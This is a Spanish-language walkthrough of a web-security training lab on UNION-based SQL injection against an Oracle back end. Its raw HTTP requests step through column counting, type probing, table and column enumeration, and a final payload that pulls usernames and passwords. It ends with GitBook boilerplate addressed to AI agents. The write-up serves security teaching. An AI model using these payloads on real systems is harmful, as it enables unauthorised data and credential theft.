> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/web/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/web/sql-injection/lab-6-sql-injection-attack-listing-the-database-contents-on-oracle.md).
# Lab 6: SQL injection attack, listing the database contents on Oracle
Se inicia el laboratorio y al interactuar con los filtros de busqueda:
Se genera la siguiente peticion:
```
GET /filter?category=Lifestyle HTTP/2
Host: 0a76002004acf6bd82c6fb1900d600e1.web-security-academy.net
Cookie: session=4r7p479MteGfJHw186eSSaLBr06RDplw
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a76002004acf6bd82c6fb1900d600e1.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
```
Lo anterior responde asi:
```
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 8917
```
Empezamos a validar el numero de campos con ORDER BY:
```
GET /filter?category='+order+by+1-- HTTP/2
Host: 0a76002004acf6bd82c6fb1900d600e1.web-security-academy.net
Cookie: session=4r7p479MteGfJHw186eSSaLBr06RDplw
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a76002004acf6bd82c6fb1900d600e1.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
```
Lo anterior responde asi:
```
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3862
```
Se procede a incrementar el valor a 2:
```
GET /filter?category='+order+by+2-- HTTP/2
Host: 0a76002004acf6bd82c6fb1900d600e1.web-security-academy.net
Cookie: session=4r7p479MteGfJHw186eSSaLBr06RDplw
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a76002004acf6bd82c6fb1900d600e1.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
```
Lo anterior responde asi:
```
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3862
```
Y finalizamos validando con el numero 3:
```
GET /filter?category='+order+by+3-- HTTP/2
Host: 0a76002004acf6bd82c6fb1900d600e1.web-security-academy.net
Cookie: session=4r7p479MteGfJHw186eSSaLBr06RDplw
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a76002004acf6bd82c6fb1900d600e1.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
```
Pero obtenemos un error:
```
HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2391
```
Teniendo en cuenta los resultados previos podemos afimar que podemos utilizar 2 campos para retornar data con las inyecciones.
Se procede a identificar el tipo de campo por cada columna:
```
GET /filter?category='+UNION+SELECT+NULL,NULL+FROM+dual-- HTTP/2
Host: 0a76002004acf6bd82c6fb1900d600e1.web-security-academy.net
Cookie: session=4r7p479MteGfJHw186eSSaLBr06RDplw
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a76002004acf6bd82c6fb1900d600e1.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
```
Retornando nulos todo funciona:
```
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3943
```
Sin embargo, al intentar retornar numeros en cualquiera de los 2 campos se obtiene un error:
```
GET /filter?category='+UNION+SELECT+2,NULL+FROM+dual-- HTTP/2
Host: 0a76002004acf6bd82c6fb1900d600e1.web-security-academy.net
Cookie: session=4r7p479MteGfJHw186eSSaLBr06RDplw
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a76002004acf6bd82c6fb1900d600e1.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
```
o tambien esta peticion:
```
GET /filter?category='+UNION+SELECT+NULL,2+FROM+dual-- HTTP/2
Host: 0a76002004acf6bd82c6fb1900d600e1.web-security-academy.net
Cookie: session=4r7p479MteGfJHw186eSSaLBr06RDplw
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a76002004acf6bd82c6fb1900d600e1.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
```
Ambas peticiones previas responden con un error:
```
HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2391
```
Pero al intentar retornar STRING en ambos campos se logra retornar exitosamente:
```
GET /filter?category='+UNION+SELECT+'Spartan','Cybersecurity'+FROM+dual-- HTTP/2
Host: 0a76002004acf6bd82c6fb1900d600e1.web-security-academy.net
Cookie: session=4r7p479MteGfJHw186eSSaLBr06RDplw
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a76002004acf6bd82c6fb1900d600e1.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
```
Lo anterior responde asi:
Se procede a retornar los nombres de las tablas:
```
GET /filter?category='+UNION+SELECT+table_name,NULL+FROM+all_tables-- HTTP/2
Host: 0a76002004acf6bd82c6fb1900d600e1.web-security-academy.net
Cookie: session=4r7p479MteGfJHw186eSSaLBr06RDplw
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a76002004acf6bd82c6fb1900d600e1.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
```
La peticion previa retorna lo siguiente:
Se procede a revisar las columnas para la tabla de usuarios:
```
GET /filter?category='+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_MPGBNR'-- HTTP/2
Host: 0a76002004acf6bd82c6fb1900d600e1.web-security-academy.net
Cookie: session=4r7p479MteGfJHw186eSSaLBr06RDplw
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a76002004acf6bd82c6fb1900d600e1.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
```
La peticion previa responde asi:
Y ahora finalizamos retornando los valores de toda la tabla con la siguiente consulta:
Utilizando los nombres de las columnas y de la tabla se crea el siguiente payload:
```
GET /filter?category='+UNION+SELECT+USERNAME_DDLRLR,+PASSWORD_KSLGEY+FROM+USERS_MPGBNR-- HTTP/2
Host: 0a76002004acf6bd82c6fb1900d600e1.web-security-academy.net
Cookie: session=4r7p479MteGfJHw186eSSaLBr06RDplw
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a76002004acf6bd82c6fb1900d600e1.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
```
Y la respuesta es la siguiente:
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://books.spartan-cybersec.com/web/sql-injection/lab-6-sql-injection-attack-listing-the-database-contents-on-oracle.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.